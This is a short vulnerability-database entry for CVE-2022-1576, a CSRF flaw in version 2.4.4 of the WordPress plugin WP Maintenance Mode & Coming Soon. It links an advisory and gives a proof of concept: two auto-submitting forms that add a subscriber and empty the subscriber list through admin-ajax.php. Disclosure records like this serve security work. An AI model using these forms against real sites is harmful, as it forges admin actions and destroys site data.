CVE: CVE-2022-1576

Name: WP Maintenance Mode & Coming Soon (wp-maintenance-mode)

Version: 2.4.4

Date: 2022-04-10 11:30:56

Advisory: https://wpscan.com/vulnerability/68deab46-1c16-46ae-a912-a104958ca4cf

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="wpmm_add_subscriber">
    <input type="text" name="email" value="test@example.com">
</form>
<script>
    document.forms[0].submit();
</script>

<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="wpmm_subscribers_empty_list">
</form>
<script>
    document.forms[0].submit();
</script>

Also missing Double Optin